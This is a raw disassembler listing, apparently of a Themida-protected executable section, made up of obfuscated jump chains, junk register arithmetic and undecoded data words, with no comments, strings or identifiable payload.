jmp loc_553EC5
; ---------------------------------------------------------------------------
dw 8B66h
dd 3968240Ch, 8900002Eh, 0EC83243Ch, 24248904h, 4240481h
dd 0FF000000h, 815F2434h, 4C4h, 4EC8100h, 0E9000000h, 1FFBh
dd 0E2338F0Dh, 2E1D0D46h, 0F3352DD1h, 1237C3Ch, 525A58C6h
dd 3E4068h, 241C8900h, 2C52B850h, 0C3892ACAh, 15E38158h
dd 835C482Dh, 51E904ECh
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555297: ; CODE XREF: Themida_:0056322Fj
mov [esp], eax
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_55529F: ; CODE XREF: Themida_:00556DD2j
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_5604E7
; ---------------------------------------------------------------------------
loc_5552BD: ; CODE XREF: Themida_:005538F1j
xor ebx, edx
pop edx
or ebx, 37F9160Bh
shl ebx, 1
xchg ebp, ebx
jmp loc_567452
; ---------------------------------------------------------------------------
db 5Eh
dd 8104C483h, 4C6h, 0FAE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5552DE: ; CODE XREF: Themida_:00553D63j
mov ah, ch
pop ecx
push small 0
sub [esp], ah
jmp loc_55B4C7
; ---------------------------------------------------------------------------
loc_5552ED: ; CODE XREF: Themida_:00564920j
not ebp
shl ebp, 4
shr ebp, 8
push edi
push edx
push ebx
mov ebx, 5288577Fh
push edi
mov edi, 292589Ch
or edi, 7C90093Dh
inc edi
shl edi, 8
push ebx
mov ebx, 38781334h
jmp loc_5620E6
; ---------------------------------------------------------------------------
dd 2D5BDE29h, 77310C9Dh, 9D05F001h, 0E977310Ch, 1056Dh
; ---------------------------------------------------------------------------
loc_55532C: ; CODE XREF: Themida_:00560619j
push eax
mov ah, 52h
inc ah
jmp loc_56342D
; ---------------------------------------------------------------------------
aZI db '‡<$\‰,$½$',0
dd 27E90000h, 3000005Dh, 0DED8E9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55534E: ; CODE XREF: Themida_:00564146j
shl edx, 1
push ecx
push 0FFFFFFFFh
mov ecx, [esp]
push edi
jmp loc_5544BC
; ---------------------------------------------------------------------------
db 29h
dd 0F2E958C3h, 890000CDh, 43682414h, 5A38291Eh, 5004E2C1h
dd 995608B8h, 58C20172h, 4171BB53h, 0DA31B6EDh, 0CC04E9h
db 0
; ---------------------------------------------------------------------------
loc_555389: ; CODE XREF: Themida_:00554BDDj
sub dword ptr [esp+4], 6B841209h
pop edi
push dword ptr [esp]
pop eax
jmp loc_55A940
; ---------------------------------------------------------------------------
db 0FFh
dd 81582434h, 4C4h, 6CEE8100h, 814C8F03h, 2F5382EEh, 81D60166h
dd 2F5382C6h, 0CBE95066h, 5200010Fh, 6BB568B2h, 148BD500h
dd 4C48124h, 80000000h, 0E957ECF5h, 42CBh, 4B850h, 0C6810000h
dd 4E135E13h, 0E6E9C629h
db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5553EB: ; CODE XREF: Themida_:00560629j
sub al, bl
jmp loc_553749
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5A0424h, 0E95C2404h, 0FFFFF63Ah, 5E08950h, 4, 8704E883h
dd 248B2404h, 14F0E924h, 0C4830000h, 245E6804h, 1C890000h
dd 4B95124h, 89000000h, 0DE0159CBh, 0E9241C8Bh, 347Dh
; ---------------------------------------------------------------------------
loc_555434: ; CODE XREF: Themida_:0056630Fj
add edx, 4
sub esp, 4
mov [esp], edx
jmp loc_557AAA
; ---------------------------------------------------------------------------
dw 0F930h
dd 2C77045Bh, 81C800BFh, 4ECh, 240C8900h, 0E980D7B1h, 5EABE918h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55545E: ; CODE XREF: Themida_:0055735Bj
mov eax, [esp]
jmp loc_565C77
; ---------------------------------------------------------------------------
loc_555466: ; CODE XREF: Themida_:00556CF5j
xchg esi, [esp]
jmp loc_554301
; ---------------------------------------------------------------------------
dw 0C689h
dd 0E92434FFh, 0AE35h, 0C5DAC581h, 0EC8109C5h, 4, 89241C89h
dd 78DF68EBh, 4890000h, 89D88924h, 0FF5B58C7h, 535D2434h
dd 0C381E389h, 4, 4C381h, 1C870000h, 0F8215C24h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
or eax, eax
jz loc_566805
push 3643h
jmp loc_552CCF
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 815B5453h, 4C3h, 4C38300h, 31241C33h, 90E9241Ch
db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5554EF: ; CODE XREF: Themida_:00565C3Fj
inc ebp
push edx
mov edx, 73005D61h
or ebp, edx
jmp loc_55A46A
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FFD733E9h, 59CD01FFh, 82E9DDF7h, 1000007h, 0F1815DE9h
dd 60716A77h, 6EF8BB53h, 0D9217F8Bh, 1F27E95Bh, 0D6010000h
dd 0F2015A5Ah, 8124348Bh, 4C4h, 24143300h, 0FFF410E9h
dd 7C380FFh, 2641E9h
db 0
; ---------------------------------------------------------------------------
loc_555545: ; CODE XREF: Themida_:00567D07j
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_565215
; ---------------------------------------------------------------------------
loc_555555: ; CODE XREF: Themida_:00566E6Ej
dec ebx
inc ebx
sub ebx, 4BB8005Fh
xor ebx, 40F469A9h
add ebp, ebx
jmp loc_564F76
; ---------------------------------------------------------------------------
dw 0BD55h
dd 246360A5h, 565DE889h, 0F010DBEh, 0E9DEF753h, 1055Eh
; ---------------------------------------------------------------------------
loc_555580: ; CODE XREF: Themida_:005627FDj
xor ebx, eax
xor eax, ebx
sub esp, 4
mov [esp], ebx
push ebp
jmp loc_5636F1
; ---------------------------------------------------------------------------
loc_555590: ; CODE XREF: Themida_:0056034Dj
pop eax
push eax
mov eax, 281673EDh
push edi
mov edi, 0F4B84A4Ah
add eax, edi
jmp loc_553D32
; ---------------------------------------------------------------------------
dd 0C263B5BEh, 20EE8168h, 211B9DE9h, 0ED815EF5h, 5DFFDBDh
db 29h, 0EFh, 5Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_558590
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 4C681h, 34870000h, 48B5C24h, 0E7895724h, 4C781h
dd 0C7830000h, 243C8704h, 0D37CE95Ch, 4830000h, 685F0424h
dd 5434h, 54240489h, 40558h, 0E8830000h, 24048704h, 0FCA2E9h
dd 5DEB0100h, 40B3BF57h, 0F7813924h, 392440B1h, 3C8BFB01h
dd 0E6895624h, 0BA2CE9h
db 0
; ---------------------------------------------------------------------------
loc_555635: ; CODE XREF: Themida_:00561872j
add esp, 4
push edx
not dword ptr [esp]
pop edx
xchg edx, ebx
sub ebx, 75D27DE7h
and eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55723C
; ---------------------------------------------------------------------------
db 31h, 0DDh, 5Bh
dd 0FFE9B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55565D: ; CODE XREF: Themida_:0055AFECj
xor eax, esi
mov esi, [esp]
add esp, 4
and ecx, eax
mov eax, [esp]
jmp loc_56657E
; ---------------------------------------------------------------------------
loc_555672: ; CODE XREF: Themida_:00556E26j
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
pop edi
push edx
push edx
push 770h
mov [esp], esp
push ebx
mov ebx, 4
sub dword ptr [esp+4], 20F215DEh
add [esp+4], ebx
add dword ptr [esp+4], 20F215DEh
pop ebx
pop edx
jmp loc_561A42
; ---------------------------------------------------------------------------
loc_5556AE: ; CODE XREF: Themida_:00565224j
or ebx, 59F60218h
jmp loc_5544DB
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 87000000h, 248B2434h, 2BB5324h, 81000000h, 0D859C8EAh
dd 8DC28115h, 15C2D1Fh, 8DEA81DAh, 575C2D1Fh, 539E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5556E6: ; CODE XREF: Themida_:00556CE1j
pop dword ptr [esp]
pop esp
jmp loc_564AE4
; ---------------------------------------------------------------------------
dd offset dword_596D68
align 4
dd 89241C89h, 4C381E3h, 0E9000000h, 12253h, 0FFD52FE9h
dd 0D8285AFFh, 4468B604h, 0E900003Ch, 0BF4Ch, 2812BA52h
dd 0D60965CAh, 8124148Bh, 4C4h, 3442E900h, 555E0000h, 468h
dd 0A7BCE900h, 0EA810000h, 37CD0411h, 0FC4BB951h, 0CA29CA34h
dd 24448159h, 0D553004h, 246C8105h, 0EB4F4B04h, 24448102h
dd 326D9204h, 24540152h, 246C8104h, 326D9204h, 24448152h
dd 0EB4F4B04h, 30B95102h, 29050D55h, 5908244Ch, 2633E9h
dd 0D92CAC00h, 0AF2C182Ch, 47E9D828h, 89000024h, 0B850240Ch
dd 0BD751CFh, 2A694F05h, 0DE0D157h, 76E5B31h, 0FFDDC0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5557AD: ; CODE XREF: Themida_:00553527j
pop ebp
and edx, 39E556F7h
shr edx, 5
add edx, 4EF520D2h
add edx, 251CE567h
add ecx, edx
jmp loc_567B46
; ---------------------------------------------------------------------------
dw 0EB00h
dd 83240C8Bh, 0DBF604C4h, 0C007E3C0h, 516605E3h, 0E904EC83h
dd 10F64h
; ---------------------------------------------------------------------------
loc_5557E4: ; CODE XREF: Themida_:0055D895j
mov edi, 12CD2E41h
jmp loc_55363F
; ---------------------------------------------------------------------------
dw 505Bh
dd 0EC8012B4h, 63B668DCh, 14890000h, 0E919B624h, 84C6h
dd 3EA6C281h, 0ADE958F3h, 8300003Ch, 48704C0h, 24248B24h
dd 0FFD41BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55581D: ; CODE XREF: Themida_:0055BF43j
movsx ecx, ax
push 4DCCh
mov [esp], ecx
jmp loc_552C38
; ---------------------------------------------------------------------------
db 31h, 0C3h, 58h
dd 1C8BD821h, 4C48324h, 0D308405h, 71802D15h, 0C7017E10h
dd 8B2434FFh, 0C4812404h, 4, 92E95450h, 0B20000E0h, 8FEE9D2h
db 1, 0
; ---------------------------------------------------------------------------
loc_55585E: ; CODE XREF: Themida_:00555EA2j
add [esp+4], eax
sub dword ptr [esp+4], 545837F5h
jmp loc_55AAEB
; ---------------------------------------------------------------------------
loc_55586F: ; CODE XREF: Themida_:0055646Ej
xchg ebp, [esp]
pop esp
add edx, eax
push 6BABh
mov [esp], ecx
sub esp, 4
mov [esp], edi
mov edi, 23F9742Ch
not edi
jmp loc_55C20D
; ---------------------------------------------------------------------------
db 0B9h
dd 1B0C586Dh, 0D1E9CD09h, 29000013h, 24048BC5h, 4C481h
dd 0C7810000h, 74DD6C02h, 0F1D6E9h, 241C8900h, 0FFF512E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5558B9: ; CODE XREF: Themida_:0055FB57j
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_564340
; ---------------------------------------------------------------------------
db 68h
dd 6E85566Ah, 6E0C158h, 6F444A2Dh, 8BD4E995h, 0C290000h
dd 4EC8124h, 89000000h, 0C5BD242Ch, 294B0753h, 5D04246Ch
dd 0E07EE9h
db 0
; ---------------------------------------------------------------------------
loc_5558FD: ; CODE XREF: Themida_:005534F7j
add edx, 144EB66Ah
xor ecx, edx
pop edx
shr ecx, 3
and ecx, 41E53C0Eh
sub esp, 4
jmp loc_55C6B5
; ---------------------------------------------------------------------------
db 64h
dd 0DFE932FFh, 8900008Fh, 7FE92414h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555927: ; CODE XREF: Themida_:00567809j
mov esi, 4738356Ch
or esi, 35907F6Bh
shl esi, 2
neg esi
inc esi
jmp loc_55EBA9
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aHa_ db '$h _',0
align 2
dw 3C89h
dd 81E78924h, 4ECh, 242C8900h, 0E29AEBDh, 0D5F74569h, 0BB33E9h
dd 4BA00h, 0CAE90000h, 81000049h, 462BE7EDh, 32ED8108h
dd 29C9F514h, 0AEE95DE8h, 8BFFFFFEh, 0C483241Ch, 5CCD8104h
dd 81622E58h, 1D58B5C5h, 0CCF5814Dh, 5649B255h, 0EF6D25BEh
dd 25EE813Dh, 0F7651833h, 2EEC1D6h, 4F0CCE81h, 0C6816E06h
dd 420463D1h, 0CEEFF681h, 0AE998C6h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5559BF: ; CODE XREF: Themida_:00555165j
sub esp, 4
mov [esp], ebx
mov ebx, 21B61325h
push edi
jmp loc_55CE4A
; ---------------------------------------------------------------------------
loc_5559D0: ; CODE XREF: Themida_:0056561Ej
pop edi
sub esp, 4
mov [esp], edi
jmp loc_55A21D
; ---------------------------------------------------------------------------
a_s db '_é\¶',0
align 2
dw 535Eh
dd 86DC7BBh, 0B8E38117h, 81373D19h, 590617F3h, 50C78160h
dd 12EC70Ah, 50EF81DFh, 5B2EC70Ah, 8CE9EF01h, 890000E9h
dd 25E9240Ch, 81FFFFD2h, 4C4h, 45E96800h, 14890000h, 2E14BA24h
dd 26E94E61h, 0B90000FCh, 56F63E3Ah, 8103E1C1h, 0AF0859F1h
dd 0D64FE901h, 0D2F70000h, 95C2E9h, 0FBF58100h, 817E5755h
dd 616A03F5h, 5DEE013Ch, 5604C683h, 42474FFh, 4FA0E95Eh
dd 0E8010000h, 4875D5Dh, 24248B24h, 6824048Bh, 6442h, 0FFFE38E9h
dd 5078BBFFh, 5C314440h, 0E95B0424h, 2835h, 0D5FF829h
dd 54249C9h, 1802505h, 8BC60188h, 89522404h, 4C281E2h
dd 83000000h, 0E9E904C2h, 6600003Ch, 8324048Bh, 148904ECh
dd 148B5424h, 4C48124h, 57000000h, 0EF6D6DBFh, 4EC831Eh
dd 0E9243C89h, 2AB1h, 875FF801h, 10E92404h, 0BF000100h
dd 52163A20h, 0F71CEF81h, 7A013E27h, 0E5BAE938h, 0E95D0000h
dd 0ADEBh, 4B9h, 8BCE0100h, 0C481240Ch, 4, 4BF5750h, 89000000h
dd 243C8BF8h, 8104C483h, 0A1723CC6h, 0A1E95008h, 870000DBh
dd 248B243Ch, 240C8924h, 0FFF892E9h, 4C483FFh, 57E28952h
dd 0B32DEABFh, 47D7F746h, 2DEEC781h, 0FA0146B3h, 4EA815Fh
dd 33000000h, 1E92414h, 2900003Dh, 7ADF05D8h, 0BA526CB5h
dd 7A340760h, 24E9D001h, 51000022h, 3BE268h, 241C8900h
dd 0D988D388h, 50241C8Bh, 405E089h, 83000000h, 48704C0h
dd 82BCE924h, 0C8B70000h, 805FCF80h, 0C780FAE7h, 0AE79E956h
dd 875B0000h, 6DE92434h, 0B90000B4h, 64D1580Eh, 0FFD2C6E9h
dd 8F685BFFh, 89000031h, 1DB22414h, 0C006E2C0h, 466806E2h
dd 89000027h, 0EEB3241Ch, 0E92EE380h, 0FFFFEB76h, 5428A5BBh
dd 0F7DBF738h, 81D3F7DBh, 951D65C3h, 27E7E968h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555BE6: ; CODE XREF: Themida_:00564AEFj
mov ecx, [esp]
push edi
mov edi, esp
push eax
mov eax, 4
jmp loc_56709F
; ---------------------------------------------------------------------------
loc_555BF7: ; CODE XREF: Themida_:00557FC2j
xchg ebp, [esp]
jmp loc_5551BA
; ---------------------------------------------------------------------------
loc_555BFF: ; CODE XREF: Themida_:0055703Cj
mov dh, 0F8h
jmp loc_55A809
; ---------------------------------------------------------------------------
dw 0ED81h
dd 35B37378h, 1069F581h, 5CE948E4h
db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C17: ; CODE XREF: Themida_:005590AEj
pop dword ptr [esp]
jmp loc_55A192
; ---------------------------------------------------------------------------
db 0BEh
dd 15D859C8h, 15EF789h, 335B5FFAh, 14312414h, 24143324h
dd 6624248Bh, 2404B30Fh, 0D9ADE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555C42: ; CODE XREF: Themida_:0055511Aj
sub ebp, 4A146A0Ch
pop ecx
dec ebp
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_5673D8
; ---------------------------------------------------------------------------
db 89h
dd 0FD21E9DDh, 0C581FFFFh, 0AA50AF1Ch, 835DEB01h, 1C8704EBh
dd 4895C24h, 5585424h, 4, 4B951h, 0C8010000h, 74FF5059h
dd 8F580424h, 505C2404h, 152AE9h, 0DDF58100h, 8139E456h
dd 495391EDh, 484E0537h, 0E801417Ah, 7A484E2Dh, 242C8B41h
dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0BDE9241Ch, 31000043h
dd 57C131C8h, 5CD1B951h, 2FE9518Dh
db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555CD3: ; CODE XREF: Themida_:00563412j
mov [esp], edi
push dword ptr [esp]
jmp loc_553370
; ---------------------------------------------------------------------------
dw 0F681h
a7sS db 'Þ7á|é',0
db 0Bh,0
dd 5C7D6800h, 0DCE90000h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555CF3: ; CODE XREF: Themida_:00553642j
shl ebp, 5
jmp loc_55D776
; ---------------------------------------------------------------------------
loc_555CFB: ; CODE XREF: Themida_:00567840j
or ebp, edx
pop edx
shl ebp, 6
jmp loc_5640BE
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48324h, 0DB55E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esi
pop edi
jmp loc_55D23F
; ---------------------------------------------------------------------------
loc_555D2F: ; CODE XREF: Themida_:0055F6FBj
add ebx, 2503049Ah
mov ecx, [esp]
jmp loc_55D5B8
; ---------------------------------------------------------------------------
db 81h, 0C3h, 57h
dd 29BFF697h, 3C335BDFh, 0E87EE924h, 81560000h, 4ECh, 48F5400h
dd 24048124h, 4, 8324348Bh, 895204C4h, 4C281E2h, 83000000h
dd 148704EAh, 22E95C24h, 540000E1h, 92BB535Dh, 4B4F4444h
dd 5708E3C1h, 0F20763BFh, 68E78124h, 8119BB18h, 0EB4404E7h
dd 503BE93Eh, 1590000h, 0E2EF81EFh, 0E96A936Fh, 0A74Fh
dd 119BE95Ah, 0EA810000h, 2F2A4CE8h, 12070E9h, 2434FF00h
dd 3B99E9h
db 0
; ---------------------------------------------------------------------------
loc_555DC5: ; CODE XREF: Themida_:0055C0F4j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edx
push 2BDh
jmp loc_555E91
; ---------------------------------------------------------------------------
db 83h
dd 814204C4h, 94028AE2h, 96ADE97Fh, 0EF810000h, 32EC4FAEh
dd 0CF81DFF7h, 20906856h, 0DB4EEF81h, 0FA0182EEh, 116C9E9h
dd 0C4815A00h, 4, 0FDBAE953h, 248BFFFFh, 0C83B6624h, 0CE16E99Ch
dd 48B9FFFFh, 0E94DF523h, 0FFFFD016h, 0E924248Bh, 7D5Eh
; ---------------------------------------------------------------------------
loc_555E34: ; CODE XREF: Themida_:0055C974j
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], ecx
push edx
mov edx, 514704A9h
push ecx
jmp loc_55516A
; ---------------------------------------------------------------------------
loc_555E50: ; CODE XREF: Themida_:00552C49j
push ecx
mov cl, 48h
xor cl, 3
xor bl, cl
jmp loc_56061E
; ---------------------------------------------------------------------------
db 68h, 0D3h, 1Ch
dd 8F540000h, 0E9552404h, 0AF03h, 0A8DBB850h, 0C1013F77h
dd 0A92DE9h, 24048900h, 0DE974B0h, 83000060h, 48704C0h
dd 24248B24h, 875EE9h
db 0
; ---------------------------------------------------------------------------
loc_555E91: ; CODE XREF: Themida_:00555DDAj
mov [esp], esp
push eax
mov eax, 4
add dword ptr [esp+4], 545837F5h
jmp loc_55585E
; ---------------------------------------------------------------------------
db 89h
dd 0E9542404h, 0A725h, 3F25F781h, 0F8296316h, 25C62D5Fh
dd 0DC2D51DDh, 0E90C1D13h, 0D0E3h
; ---------------------------------------------------------------------------
loc_555EC8: ; CODE XREF: Themida_:005590CFj
not dword ptr [esp]
jmp loc_564C35
; ---------------------------------------------------------------------------
dd 58E4C380h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push ecx
push edx
mov dl, al
jmp loc_5641EC
; ---------------------------------------------------------------------------
loc_555EF5: ; CODE XREF: Themida_:00567B16j
shr ebx, 4
jmp loc_55B271
; ---------------------------------------------------------------------------
db 51h, 68h, 0B2h
dd 89000006h, 4812424h, 424h, 9A685900h, 89000001h, 7CBB241Ch
dd 0E912D32Eh, 13Fh, 0EDC1D5F7h, 0CDC1E906h, 0C7BAFFFFh
dd 81167562h, 790964C2h, 36C281FBh, 2D522F0Eh, 761A2461h
dd 88E9D001h, 50000DCh, 2, 2F6C68h, 24048900h, 42474FFh
dd 0E924048Bh, 0FFFFDC1Ch, 0E904EE83h, 0FDF5h, 706C8FB8h
dd 3ED73566h, 352D40ADh, 29C4C0D8h, 0E1C158C1h, 0D4EBE905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555F82: ; CODE XREF: Themida_:00561FBAj
add edx, 9F704D0Dh
mov ecx, edx
pop edx
shl ecx, 7
shr ecx, 5
or ecx, 32BF2197h
or ecx, 5AFC75F1h
xor ecx, 3A0641FAh
xor ecx, 74BF2907h
jmp loc_553C3A
; ---------------------------------------------------------------------------
loc_555FAE: ; CODE XREF: Themida_:00552FE2j
xchg edx, [esp]
mov esp, [esp]
jmp loc_55617C
; ---------------------------------------------------------------------------
db 0C0h, 0EEh, 4
dd 5006EEC0h, 7AE926B4h, 5300008Bh, 42474FFh, 5B2434FFh
dd 84F68h, 24348900h, 0E9555E54h, 0E0EAh
; ---------------------------------------------------------------------------
loc_555FE0: ; CODE XREF: Themida_:0055E6BDj
mov ecx, 0D831FF4h
sub edx, ecx
pop ecx
shl edx, 6
sub edx, 38D54D72h
jmp loc_55D1A6
; ---------------------------------------------------------------------------
dw 0F701h
dd 8042E9h
db 0
; ---------------------------------------------------------------------------
loc_555FFD: ; CODE XREF: Themida_:0055E017j
xor eax, esi
pop esi
add edx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push ebx
sub esp, 4
mov [esp], esi
jmp loc_55DDBC
; ---------------------------------------------------------------------------
loc_55601D: ; CODE XREF: Themida_:00562745j
pop ecx
push 2C91h
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 6C0C7CB0h
shl ebp, 5
or ebp, 74644058h
jmp loc_567D51
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0E904C483h, 0B83h, 73E9E689h, 81FFFFF5h, 0FA1E4CF3h
dd 7CCB8143h, 0E9332D26h, 6133h
; ---------------------------------------------------------------------------
loc_556070: ; CODE XREF: Themida_:005620F5j
xor ebx, edi
pop edi
mov edx, ebx
jmp loc_556680
; ---------------------------------------------------------------------------
dw 0E1C0h
dd 3E1C006h, 0B353D1F6h, 16C380A0h, 0FF380h, 0CB885BD9h
dd 0F734E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556096: ; CODE XREF: Themida_:00564568j
movzx eax, al
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push 199Bh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 4
sub ecx, 0F374399h
add ecx, ebp
add ecx, 0F374399h
pop ebp
jmp loc_560D69
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 0AFFDE904h, 58560000h, 0DA5FE95Eh, 0F8310000h
dd 83243C8Bh, 0C33104C4h, 0BEE9C231h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556103: ; CODE XREF: Themida_:00568119j
push eax
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55E341
; ---------------------------------------------------------------------------
loc_556115: ; CODE XREF: Themida_:00567B73j
pop eax
push ebx
jmp loc_5561AC
; ---------------------------------------------------------------------------
dd 2002EF81h, 0D8E92B31h, 0B900003Eh, 0E975490h, 0C6A8C181h
dd 0CD893697h, 50E2E9h, 59CA8900h, 3B2DEB81h, 0D3292E8Eh
dd 3B2DC381h, 5A5A2E8Eh, 0E9241C33h, 2247h, 0CE37E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55615A: ; CODE XREF: Themida_:0055B281j
push 43F1h
jmp loc_558605
; ---------------------------------------------------------------------------
dd 0D8E18141h, 0C11A4E15h, 0E98106E9h, 692051h, 0E959CA01h
dd 1046Ch
; ---------------------------------------------------------------------------
loc_55617C: ; CODE XREF: Themida_:00555FB4j
mov [esp], ecx
push 215Fh
mov [esp], esi
push ebp
push 1D9Eh
mov [esp], edx
mov edx, 0C7532E6h
push edx
add dword ptr [esp], 15D5D2Ah
jmp loc_55497A
; ---------------------------------------------------------------------------
dw 895Dh
dd 0E94B5DEBh, 0F9A9h
; ---------------------------------------------------------------------------
loc_5561AC: ; CODE XREF: Themida_:00556117j
sub esp, 4
mov [esp], edi
jmp loc_55392D
; ---------------------------------------------------------------------------
dw 0D901h
aSoj db '[éO¦',0
align 2
dw 0CE81h
dd 27F944B0h, 0FFFFEE81h, 0E681FFFFh, 405D79E5h, 0A3EAE9h
dd 48B6600h, 0F825E924h, 875C0000h, 41E9241Ch, 0B6FFFFFCh
dd 64B9E969h, 0DFBE0000h, 31385F05h, 0E9585EF7h, 0FFFFF604h
dd 0E904EC83h, 1015Bh, 9D1C77FFh, 24041158h, 0CA22E99Ch
dd 0D143FFFFh, 4BDBF7EBh, 4276E9h, 240C8700h, 2BA525Ch
dd 81000000h, 0F5311AC7h, 2DE7E905h, 0DA000000h, 0B1A2E9h
dd 0F9015B00h, 2EA1685Fh, 0F6E90000h, 5A00004Bh, 34FFCB01h
dd 0C4835924h, 0E9DA0104h, 62Ch, 1BC0C181h, 9CE92C18h
dd 1000076h, 34EFE9D5h, 0F75F0000h, 58F281DAh, 1CE3E8Ch
dd 0D0295AD0h, 504E4C2Dh, 2434FF59h, 0CEC7E95Ah, 0EE81FFFFh
dd 6DCE5A6Bh, 0FFC5E9h, 8DE95900h, 66000084h, 5324048Bh
dd 0D00EE9h, 0A4C58100h, 8151514Dh, 7A769FEBh, 50EB0162h
dd 6E84BF57h, 0BAE97B51h, 5B000103h, 4FA4BE56h, 0D6F72FBAh
dd 0E681DEF7h, 64405F0Ch, 7ED3B850h, 0C6014995h, 0A82DE9h
dd 0C0685200h, 8B478472h, 0F4E92414h
db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5562EB: ; CODE XREF: Themida_:0055A479j
add edi, 59D20283h
pop ebp
jmp loc_563F10
; ---------------------------------------------------------------------------
db 29h
dd 8BC289D0h, 0C4812404h, 4, 5302EAC1h, 0BFE7E9h, 48B6600h
dd 2C48124h, 0FE000000h, 4EEC0C6h, 2CF0C680h, 42704B7h
dd 32B4E97Dh, 0E9500000h, 4DB2h, 2859C828h, 66BF04F8h
dd 51241C8Bh, 1970E9h
db 0
; ---------------------------------------------------------------------------
loc_556341: ; CODE XREF: Themida_:00556AE7j
sub al, ch
jmp loc_561F25
; ---------------------------------------------------------------------------
dd 148BD009h, 4C48124h, 51000000h, 1945BE56h, 0F189767Bh
dd 59C8315Eh, 48BC289h, 4C48324h, 148BD031h, 0E7895724h
dd 4C781h, 0F7E90000h, 55FFFFE7h, 0ED1FE9h, 0E7895700h
dd 4C781h, 0E9550000h, 0FFFFDC3Ah, 33240431h, 248B2404h
dd 24040824h, 0F362E99Ch, 0DAF7FFFFh, 0C281D2F7h, 0BF9DBFFCh
dd 685AD601h, 296Dh, 55241489h, 0BF7387BDh, 1A07E913h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5563C2: ; CODE XREF: Themida_:005619B3j
xor [esp], ebp
xor ebp, [esp]
pop esp
push small 1C2Ch
mov [esp], cx
push edx
push eax
mov al, 9Bh
jmp loc_554E51
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 2DB6824h, 35E90000h, 5E000007h, 0FD0C681h, 0E94E0B75h
dd 7827h, 240C895Ch, 5779E9h
db 0
; ---------------------------------------------------------------------------
loc_5563FD: ; CODE XREF: Themida_:0055BD7Ej
xor [edi+20h], esi
push ecx
mov ecx, 42362C86h
dec ecx
jmp loc_55DE03
; ---------------------------------------------------------------------------
dd 5D2414F7h, 0F581D5F7h, 32C30982h, 0E95DE831h, 8036h
dd 571EE95Eh, 0E8830000h, 24043304h, 33240431h, 248B2404h
dd 24148924h, 51A7B050h, 0C9FEFDB1h, 3D95E9h, 0BCEE8100h
dd 2957E315h, 0BCC681EEh, 0FF57E315h, 835D2434h, 343304C4h
dd 3A24E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55586F
; ---------------------------------------------------------------------------
loc_556473: ; CODE XREF: Themida_:00563EBCj
and edx, ebx
pop ebx
sub edx, 0FFFFFFFFh
sub edx, 4480409h
add esi, 715A2F60h
add esi, edx
